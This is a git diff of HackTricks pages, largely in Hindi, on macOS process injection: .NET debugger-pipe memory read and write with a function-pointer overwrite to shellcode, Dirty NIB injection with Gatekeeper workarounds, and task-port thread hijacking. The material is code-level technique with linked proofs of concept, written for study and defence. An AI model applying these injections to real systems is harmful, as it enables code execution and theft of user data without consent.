diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md index 0cc28f10b..d9bc5212b 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md @@ -1,30 +1,31 @@ # macOS .Net Applications Injection +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! +Support HackTricks -HackTricks का समर्थन करने के अन्य तरीके: - -* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)! -* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos पर PRs सबमिट करके। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**यह [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) पोस्ट का सारांश है। अधिक विवरण के लिए इसे देखें!** +**यह [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) पोस्ट का सारांश है। आगे की जानकारी के लिए इसे देखें!** ## .NET Core Debugging -### **डीबगिंग सत्र स्थापित करना** +### **डिबगिंग सत्र स्थापित करना** -.NET में डीबगर और डीबगी के बीच संचार का प्रबंधन [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) द्वारा प्रबंधित किया जाता है। यह घटक प्रति .NET प्रक्रिया के लिए दो नेम्ड पाइप सेट करता है जैसा कि [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) में देखा जा सकता है, जो [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) के माध्यम से प्रारंभ किए जाते हैं। ये पाइप **`-in`** और **`-out`** के साथ समाप्त होते हैं। +.NET में डिबगर और डिबगी के बीच संचार का प्रबंधन [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) द्वारा किया जाता है। यह घटक प्रत्येक .NET प्रक्रिया के लिए दो नामित पाइप स्थापित करता है, जैसा कि [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) में देखा गया है, जो [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) के माध्यम से आरंभ होते हैं। इन पाइपों के अंत में **`-in`** और **`-out`** जोड़ा जाता है। -उपयोगकर्ता के **`$TMPDIR`** पर जाकर कोई भी .Net एप्लिकेशन को डीबग करने के लिए उपलब्ध डीबगिंग FIFOs मिल सकते हैं। +उपयोगकर्ता के **`$TMPDIR`** पर जाकर, .Net अनुप्रयोगों के लिए उपलब्ध डिबगिंग FIFOs पाए जा सकते हैं। -[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) डीबगर से संचार प्रबंधित करने के लिए जिम्मेदार है। एक नई डीबगिंग सत्र प्रारंभ करने के लिए, एक डीबगर को एक `MessageHeader` संरचना के साथ `out` पाइप के माध्यम से एक संदेश भेजना होगा, जो .NET स्रोत कोड में विस्तार से वर्णित है: +[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) संचार प्रबंधन के लिए जिम्मेदार है। एक नया डिबगिंग सत्र शुरू करने के लिए, एक डिबगर को `out` पाइप के माध्यम से एक संदेश भेजना चाहिए जो `MessageHeader` संरचना से शुरू होता है, जो .NET स्रोत कोड में विस्तृत है: ```c struct MessageHeader { MessageType m_eType; // Message type @@ -43,7 +44,7 @@ DWORD m_dwMinorVersion; BYTE m_sMustBeZero[8]; } ``` -एक नए सत्र का अनुरोध करने के लिए, यह स्ट्रक्ट निम्नलिखित रूप में पूरा किया जाता है, संदेश प्रकार को `MT_SessionRequest` और प्रोटोकॉल संस्करण को वर्तमान संस्करण पर सेट करके: +नए सत्र का अनुरोध करने के लिए, इस संरचना को इस प्रकार भरा जाता है, संदेश प्रकार को `MT_SessionRequest` और प्रोटोकॉल संस्करण को वर्तमान संस्करण पर सेट किया जाता है: ```c static const DWORD kCurrentMajorVersion = 2; static const DWORD kCurrentMinorVersion = 0; @@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); ``` -यह हेडर फिर `write` सिसकॉल का उपयोग करके लक्ष्य को भेजा जाता है, जिसके बाद `sessionRequestData` स्ट्रक्ट भेजी जाती है जिसमें सत्र के लिए एक GUID होता है: +यह हेडर फिर `write` syscall का उपयोग करके लक्ष्य पर भेजा जाता है, इसके बाद `sessionRequestData` संरचना होती है जिसमें सत्र के लिए एक GUID होता है: ```c write(wr, &sSendHeader, sizeof(MessageHeader)); memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData)); write(wr, &sDataBlock, sizeof(SessionRequestData)); ``` -एक `out` पाइप पर पढ़ने की क्रिया डीबगिंग सत्र स्थापना की सफलता या असफलता की पुष्टि करती है: +`out` पाइप पर एक पढ़ने का ऑपरेशन डिबगिंग सत्र की स्थापना की सफलता या विफलता की पुष्टि करता है: ```c read(rd, &sReceiveHeader, sizeof(MessageHeader)); ``` ## मेमोरी पढ़ना -एक डीबगिंग सत्र स्थापित होने के बाद, [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) संदेश प्रकार का उपयोग करके मेमोरी पढ़ी जा सकती है। फ़ंक्शन readMemory विस्तार से विवरणित है, आवश्यक कदमों को करने के लिए एक पढ़ने का अनुरोध भेजने और प्रतिक्रिया प्राप्त करने के लिए। +एक डिबगिंग सत्र स्थापित होने के बाद, मेमोरी को [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) संदेश प्रकार का उपयोग करके पढ़ा जा सकता है। फ़ंक्शन readMemory विस्तृत है, पढ़ने के अनुरोध को भेजने और प्रतिक्रिया प्राप्त करने के लिए आवश्यक कदम उठाता है: ```c bool readMemory(void *addr, int len, unsigned char **output) { // Allocation and initialization @@ -77,11 +78,11 @@ bool readMemory(void *addr, int len, unsigned char **output) { return true; } ``` -पूर्ण सिद्धांत (POC) यहाँ उपलब्ध है [यहाँ](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b). +पूर्ण प्रमाण अवधारणा (POC) [यहाँ](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b) उपलब्ध है। ## मेमोरी लिखना -उसी तरह, `writeMemory` फ़ंक्शन का उपयोग करके मेमोरी लिखी जा सकती है। इस प्रक्रिया में संदेश प्रकार को `MT_WriteMemory` पर सेट करना शामिल है, डेटा के पते और लंबाई को निर्दिष्ट करना है, और फिर डेटा भेजना है: +इसी तरह, `writeMemory` फ़ंक्शन का उपयोग करके मेमोरी लिखी जा सकती है। प्रक्रिया में संदेश प्रकार को `MT_WriteMemory` पर सेट करना, डेटा का पता और लंबाई निर्दिष्ट करना, और फिर डेटा भेजना शामिल है: ```c bool writeMemory(void *addr, int len, unsigned char *input) { // Increment IDs, set message type, and specify memory location @@ -93,23 +94,38 @@ bool writeMemory(void *addr, int len, unsigned char *input) { return true; } ``` -जुड़ा हुआ POC यहाँ उपलब्ध है [यहाँ](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5). +संबंधित POC [यहाँ](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5) उपलब्ध है। ## .NET Core कोड निष्पादन -कोड निष्पादित करने के लिए, किसी कोड क्षेत्र की पहचान करनी होगी जिसमें rwx अनुमतियाँ हो, जो vmmap -pages का उपयोग करके किया जा सकता है: +कोड निष्पादित करने के लिए, एक को मेमोरी क्षेत्र की पहचान करनी होती है जिसमें rwx अनुमतियाँ होती हैं, जिसे vmmap -pages: का उपयोग करके किया जा सकता है। ```bash vmmap -pages [pid] vmmap -pages 35829 | grep "rwx/rwx" ``` -एक स्थान का पता लगाना जहाँ फ़ंक्शन पॉइंटर को ओवरराइट किया जा सकता है, यह आवश्यक है, और .NET Core में, यह **डायनामिक फ़ंक्शन टेबल (DFT)** को लक्षित करके किया जा सकता है। यह टेबल, [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) में विस्तार से वर्णित है, जो JIT संकलन सहायक फ़ंक्शनों के लिए रनटाइम द्वारा उपयोग किया जाता है। +एक फ़ंक्शन पॉइंटर को ओवरराइट करने के लिए स्थान ढूंढना आवश्यक है, और .NET Core में, यह **डायनामिक फ़ंक्शन टेबल (DFT)** को लक्षित करके किया जा सकता है। यह तालिका, जो [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) में विस्तृत है, रनटाइम द्वारा JIT संकलन सहायक फ़ंक्शनों के लिए उपयोग की जाती है। -x64 सिस्टमों के लिए, सिग्नेचर हंटिंग का उपयोग किया जा सकता है ताकि `libcorclr.dll` में `_hlpDynamicFuncTable` प्रतीक का संदर्भ मिल सके। +x64 सिस्टम के लिए, सिग्नेचर हंटिंग का उपयोग `libcorclr.dll` में प्रतीक `_hlpDynamicFuncTable` के संदर्भ को खोजने के लिए किया जा सकता है। -`MT_GetDCB` डीबगर फ़ंक्शन महत्वपूर्ण जानकारी प्रदान करता है, जिसमें एक हेल्पर फ़ंक्शन, `m_helperRemoteStartAddr`, का पता चलता है, जो `libcorclr.dll` के स्थान का प्रकाशन मेमोरी में है। इस पते का उपयोग फिर DFT के लिए खोज शुरू करने और एक फ़ंक्शन पॉइंटर को शेलकोड के पते से ओवरराइट करने के लिए किया जाता है। +`MT_GetDCB` डिबगर फ़ंक्शन उपयोगी जानकारी प्रदान करता है, जिसमें एक सहायक फ़ंक्शन का पता, `m_helperRemoteStartAddr`, शामिल है, जो प्रक्रिया मेमोरी में `libcorclr.dll` के स्थान को इंगित करता है। इस पते का उपयोग DFT के लिए खोज शुरू करने और फ़ंक्शन पॉइंटर को शेलकोड के पते के साथ ओवरराइट करने के लिए किया जाता है। PowerShell में इंजेक्शन के लिए पूरा POC कोड [यहाँ](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6) उपलब्ध है। ## संदर्भ * [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md index 236ae1426..39f6f2979 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md @@ -1,33 +1,88 @@ # macOS Dirty NIB +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! +Support HackTricks -HackTricks का समर्थन करने के अन्य तरीके: - -* यदि आप अपनी कंपनी का विज्ञापन **HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें! -* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 पर **फॉलो** करें [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**तकनीक के बारे में अधिक विवरण के लिए मूल पोस्ट देखें: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** यहाँ एक सारांश है: +**तकनीक के बारे में अधिक जानकारी के लिए मूल पोस्ट देखें: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** यहाँ एक सारांश है: -NIB फ़ाइलें, Apple के विकास पारिस्थितिकी का हिस्सा, एप्लिकेशन में **UI तत्वों** और उनके बीच के अंतर्क्रियाएँ परिभाषित करने के लिए हैं। ये विंडोज और बटन्स जैसे सिरीयलाइज़ किए गए ऑब्जेक्ट्स को शामिल करती हैं, और रनटाइम पर लोड की जाती हैं। इनके लगातार उपयोग के बावजूद, Apple अब UI फ्लो विज़ुअलाइज़ेशन के लिए स्टोरीबोर्ड का समर्थन करता है। +NIB फ़ाइलें, जो Apple के विकास पारिस्थितिकी तंत्र का हिस्सा हैं, **UI तत्वों** और उनके इंटरैक्शन को परिभाषित करने के लिए होती हैं। इनमें विंडो और बटन जैसी अनुक्रमित वस्तुएं शामिल होती हैं, और इन्हें रनटाइम पर लोड किया जाता है। इनके निरंतर उपयोग के बावजूद, Apple अब अधिक व्यापक UI प्रवाह दृश्यता के लिए Storyboards की सिफारिश करता है। -### NIB फ़ाइलों के साथ सुरक्षा संबंधित चिंताएँ -**NIB फ़ाइलें सुरक्षा जोखिम** हो सकती हैं। इनमें **विचारहीन कमांड चलाने** की क्षमता होती है, और एप्लिकेशन में NIB फ़ाइलों में परिवर्तन Gatekeeper को एप्लिकेशन को चलाने से नहीं रोकते, जो एक महत्वपूर्ण खतरा पैदा करता है। +### NIB फ़ाइलों के साथ सुरक्षा चिंताएँ +यह ध्यान रखना महत्वपूर्ण है कि **NIB फ़ाइलें सुरक्षा जोखिम हो सकती हैं**। इनमें **मनमाने आदेशों को निष्पादित करने** की क्षमता होती है, और एक ऐप के भीतर NIB फ़ाइलों में परिवर्तन Gatekeeper को ऐप को निष्पादित करने से नहीं रोकते, जो एक महत्वपूर्ण खतरा है। ### Dirty NIB इंजेक्शन प्रक्रिया -#### NIB फ़ाइल बनाना और सेटअप करना +#### NIB फ़ाइल बनाना और सेट करना 1. **प्रारंभिक सेटअप**: - XCode का उपयोग करके एक नई NIB फ़ाइल बनाएं। -- इंटरफ़ेस में एक ऑब्जेक्ट जोड़ें, जिसका क्लास `NSAppleScript` पर सेट करें। -- उपयोगकर्ता परिभाषित रनटाइम गुणात्मक के माध्यम से प्रारंभिक `source` गुण सेट करें। +- इंटरफ़ेस में एक ऑब्जेक्ट जोड़ें, इसकी कक्षा को `NSAppleScript` पर सेट करें। +- उपयोगकर्ता परिभाषित रनटाइम गुणों के माध्यम से प्रारंभिक `source` संपत्ति को कॉन्फ़िगर करें। 2. **कोड निष्पादन गैजेट**: -- सेटअप करता है कि AppleScript को मांग पर चलाया जा सके। -- `Apple Script` ऑब्ज +- सेटअप AppleScript को मांग पर चलाने की सुविधा प्रदान करता है। +- `Apple Script` ऑब्जेक्ट को सक्रिय करने के लिए एक बटन एकीकृत करें, विशेष रूप से `executeAndReturnError:` चयनकर्ता को ट्रिगर करना। + +3. **परीक्षण**: +- परीक्षण उद्देश्यों के लिए एक सरल Apple Script: +```bash +set theDialogText to "PWND" +display dialog theDialogText +``` +- XCode डिबगर में चलाकर और बटन पर क्लिक करके परीक्षण करें। + +#### एक एप्लिकेशन को लक्षित करना (उदाहरण: Pages) +1. **तैयारी**: +- लक्षित ऐप (जैसे, Pages) को एक अलग निर्देशिका (जैसे, `/tmp/`) में कॉपी करें। +- Gatekeeper समस्याओं से बचने के लिए ऐप को प्रारंभ करें और इसे कैश करें। + +2. **NIB फ़ाइल को अधिलेखित करना**: +- एक मौजूदा NIB फ़ाइल (जैसे, About Panel NIB) को तैयार की गई DirtyNIB फ़ाइल से बदलें। + +3. **निष्पादन**: +- ऐप के साथ इंटरैक्ट करके निष्पादन को ट्रिगर करें (जैसे, `About` मेनू आइटम का चयन करना)। + +#### प्रमाण का सिद्धांत: उपयोगकर्ता डेटा तक पहुँच +- उपयोगकर्ता की सहमति के बिना फ़ोटो जैसी उपयोगकर्ता डेटा तक पहुँचने और निकालने के लिए AppleScript को संशोधित करें। + +### कोड नमूना: दुर्भावनापूर्ण .xib फ़ाइल +- मनमाने कोड को निष्पादित करने का प्रदर्शन करने वाली [**दुर्भावनापूर्ण .xib फ़ाइल का एक नमूना**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) देखें और समीक्षा करें। + +### लॉन्च प्रतिबंधों का समाधान +- लॉन्च प्रतिबंध अप्रत्याशित स्थानों (जैसे, `/tmp`) से ऐप के निष्पादन में बाधा डालते हैं। +- यह पहचानना संभव है कि कौन से ऐप लॉन्च प्रतिबंधों से सुरक्षित नहीं हैं और उन्हें NIB फ़ाइल इंजेक्शन के लिए लक्षित करें। + +### अतिरिक्त macOS सुरक्षा +macOS Sonoma से आगे, ऐप बंडलों के भीतर संशोधन प्रतिबंधित हैं। हालाँकि, पहले के तरीकों में शामिल थे: +1. ऐप को एक अलग स्थान (जैसे, `/tmp/`) में कॉपी करना। +2. प्रारंभिक सुरक्षा को बायपास करने के लिए ऐप बंडल के भीतर निर्देशिकाओं का नाम बदलना। +3. Gatekeeper के साथ पंजीकरण करने के लिए ऐप चलाने के बाद, ऐप बंडल में संशोधन करना (जैसे, MainMenu.nib को Dirty.nib से बदलना)। +4. निर्देशिकाओं का नाम वापस बदलना और इंजेक्ट की गई NIB फ़ाइल को निष्पादित करने के लिए ऐप को फिर से चलाना। + +**नोट**: हाल के macOS अपडेट ने Gatekeeper कैशिंग के बाद ऐप बंडलों के भीतर फ़ाइल संशोधनों को रोककर इस शोषण को कम कर दिया है, जिससे यह शोषण अप्रभावी हो गया है। + + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md index a162c7688..e75487b1c 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -1,68 +1,69 @@ -# macOS Thread Injection के माध्यम से थ्रेड इंजेक्शन +# macOS Thread Injection via Task port + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert) से जीरो से हीरो तक AWS हैकिंग सीखें! +Support HackTricks -HackTricks का समर्थन करने के अन्य तरीके: - -* अगर आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **HackTricks** को **PDF** में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें! -* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें -* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) से या **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** को** फॉलो करें। -* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## कोड +## Code * [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec) * [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36) -## 1. थ्रेड हाइजैकिंग +## 1. Thread Hijacking -पहले, दूरस्थ कार्य से थ्रेड सूची प्राप्त करने के लिए टास्क पोर्ट पर **`task_threads()`** फ़ंक्शन को आमंत्रित किया जाता है। थ्रेड को हाइजैक करने के लिए चयनित किया जाता है। यह दृष्टिकोण पारंपरिक कोड इंजेक्शन विधियों से भिन्न है क्योंकि नए मिटिगेशन द्वारा `thread_create_running()` को अवरुद्ध करने के कारण एक नया दूरस्थ थ्रेड बनाना निषिद्ध है। +शुरुआत में, **`task_threads()`** फ़ंक्शन को कार्य पोर्ट पर दूरस्थ कार्य से थ्रेड सूची प्राप्त करने के लिए लागू किया जाता है। एक थ्रेड को हाईजैकिंग के लिए चुना जाता है। यह दृष्टिकोण पारंपरिक कोड इंजेक्शन विधियों से भिन्न है क्योंकि नए माइटिगेशन के कारण नए दूरस्थ थ्रेड का निर्माण प्रतिबंधित है जो `thread_create_running()` को ब्लॉक करता है। -थ्रेड को नियंत्रित करने के लिए, **`thread_suspend()`** को कॉल किया जाता है, जिससे इसका निष्पादन रोक दिया जाता है। +थ्रेड को नियंत्रित करने के लिए, **`thread_suspend()`** को कॉल किया जाता है, जिससे इसकी निष्पादन रुक जाती है। -दूरस्थ थ्रेड पर केवल **रोकना** और **शुरू** करने, उसके रजिस्टर मानों को **प्राप्त** और **संशोधित** करने की अनुमति है। दूरस्थ कार्य को आरंभ करने के लिए रजिस्टर `x0` से `x7` को **आर्ग्यूमेंट्स** पर सेट करके, **`pc`** को लक्षित फ़ंक्शन पर सेट करके, और थ्रेड को सक्रिय करके दूरस्थ फ़ंक्शन कॉल आरंभ किए जाते हैं। वापसी के बाद थ्रेड क्रैश न होने की सुनिश्चित करने के लिए वापसी को पहचानना आवश्यक है। +दूरस्थ थ्रेड पर केवल **रोकना** और **शुरू करना**, **पंजीकरण मान** प्राप्त करना और **संशोधित करना** की अनुमति है। दूरस्थ फ़ंक्शन कॉल को रजिस्टर `x0` से `x7` को **आर्गुमेंट्स** पर सेट करके, **`pc`** को लक्षित फ़ंक्शन पर कॉन्फ़िगर करके, और थ्रेड को सक्रिय करके शुरू किया जाता है। यह सुनिश्चित करना कि थ्रेड रिटर्न के बाद क्रैश न हो, रिटर्न का पता लगाने की आवश्यकता होती है। -एक रणनीति में **दूरस्थ थ्रेड के लिए एक अपवाद हैंडलर रजिस्टर** करना `thread_set_exception_ports()` जिससे फ़ंक्शन कॉल से पहले `lr` रजिस्टर को एक अवैध पते पर सेट किया जाता है। इससे एक अपवाद फ़ंक्शन निष्पादन के बाद एक अपवाद पोर्ट को मैसेज भेजता है, जिससे थ्रेड की स्थिति की जांच की जा सकती है और वापसी मूल्य को पुनः प्राप्त किया जा सकता है। या फिर, इयान बीर के ट्रिपल_फेच धोखाधड़ी से अपनाया गया, `lr` को अनंतता से लूप करने के लिए सेट किया जाता है। फिर थ्रेड के रजिस्टरों को निरंतर निगरानी किया जाता है जब तक **`pc` उस निर्देश को निशानित करता है**। +एक रणनीति में दूरस्थ थ्रेड के लिए **एक्सेप्शन हैंडलर** को `thread_set_exception_ports()` का उपयोग करके पंजीकृत करना शामिल है, फ़ंक्शन कॉल से पहले `lr` रजिस्टर को एक अमान्य पते पर सेट करना। यह फ़ंक्शन निष्पादन के बाद एक अपवाद को ट्रिगर करता है, अपवाद पोर्ट पर एक संदेश भेजता है, थ्रेड की स्थिति की जांच करने की अनुमति देता है ताकि रिटर्न मान को पुनर्प्राप्त किया जा सके। वैकल्पिक रूप से, इयान बीयर के ट्रिपल\_फेच एक्सप्लॉइट से अपनाई गई विधि में, `lr` को अनंत लूप में सेट किया जाता है। थ्रेड के रजिस्टर को तब लगातार मॉनिटर किया जाता है जब तक **`pc` उस निर्देश की ओर इशारा नहीं करता**। -## 2. संचार के लिए मैक पोर्ट्स +## 2. Mach ports for communication -अगले चरण में, दूरस्थ थ्रेड के साथ संचार सुविधा स्थापित करने के लिए मैक पोर्ट्स स्थापित करना शामिल है। ये पोर्ट्स कार्यों के बीच विभिन्न भेजने और प्राप्त करने के लिए महत्वपूर्ण हैं। +अगले चरण में दूरस्थ थ्रेड के साथ संचार को 